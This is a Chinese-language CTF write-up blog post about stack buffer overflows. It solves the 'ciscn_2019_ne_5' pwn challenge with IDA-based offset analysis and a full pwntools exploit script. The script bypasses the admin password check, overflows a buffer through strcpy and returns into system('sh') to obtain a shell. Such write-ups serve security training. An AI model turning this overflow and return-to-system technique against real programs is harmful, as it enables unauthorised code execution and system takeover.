栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是
程序必须向栈上写入数据。
写入的数据大小没有被良好地控制。
通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下
输入
输出
字符串
strcpy,字符串复制,遇到'\x00'停止
strcat,字符串拼接,遇到'\x00'停止
bcopy
这道题目主要利用的就是strcpy函数造成的栈溢出漏洞。
这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式
一般来说,我们会有如下的覆盖需求
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。
老规矩,先查看文件:
发现保护只开了NX,所以注入ret2shellcode基本不用想
文件是32位动态链接文件。
所以将文件拖入ida32查看反汇编:
通过查看伪代码可以大概知道程序先通过检验输入是否为‘administrator’来决定是否继续执行程序,
然后有一个目录,目录下有四个函数,通过输入进行选择,执行完函数之后,有一个‘sub_804892B’函数,返回目录,重新选择,此处也是一个可以利用的点,第一遍执行先将payload输入到src中去,第二遍执行,再通过strcpy实现栈溢出。
先看文件中是否存在system函数和‘sh’字符串
发现system和‘sh’都存在那么就好做了。
先找栈溢出漏洞,可以看出栈溢出基本就在switch中的四个函数中了,一个一个查看。
往scr中写入128个字节长度的数据。
打印‘s’数据,此处用不到这个函数。
调用system函数,同时也说明函数中存在系统函数。
由case 1和case 4可知,由于dest先对于ebp的offset为0x48,而src的偏移为0xFC,所以为如果在case1中往src写入足够长的字符串,再通过case4将src复制到dest中就还可以进行栈溢出。
只需要覆盖dest的0x48字节以及pre-ebp的0x4字节,再填写需要执行的system(‘sh’)就可以拿到shell。
pythonfrom pwn import*
context(log_level='debug',arch='i386',os='linux')
#io=remote('node4.buuoj.cn',26941)
io = process('./ciscn_2019_ne_5')
io.recvuntil(b'Please input admin password:')
io.sendline(b'administrator')#绕过strcmp
io.recvuntil(b'0.Exit\n:')
io.sendline(b'1')
system_addr =0x080484d0 #此处system函数地址只能填写第一个地址,第二个地址会报错,原因大概是0x080484d0直接跳转到system函数的plt地址,直接执行,而0x80486b9执行的是call system命令,会有一个压返回地址和ebp的操作,然后跳转到system的plt地址执行。
binsh_addr = 0x080482ea
payload = b'a'*(0x48+0x4)+p32(system_addr) +b'abcd'+ p32(binsh_addr) #此处
io.recvuntil(b'Please input new log info:')
#gdb.attach(io)
io.sendline(payload)
io.sendlineafter(b'0.Exit\n:',b'4')
io.interactive()
本题主要思路就是仔细查看汇编与伪代码,找出其中可利用的段达成溢出,输入自己的构造的payload,然后就可以获取到shell拿到flag。
作者新手一枚,文章如有错误还请多多包涵。如果各位Dalao能够指出错误,那就再好不过了,红豆泥私密马赛!
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!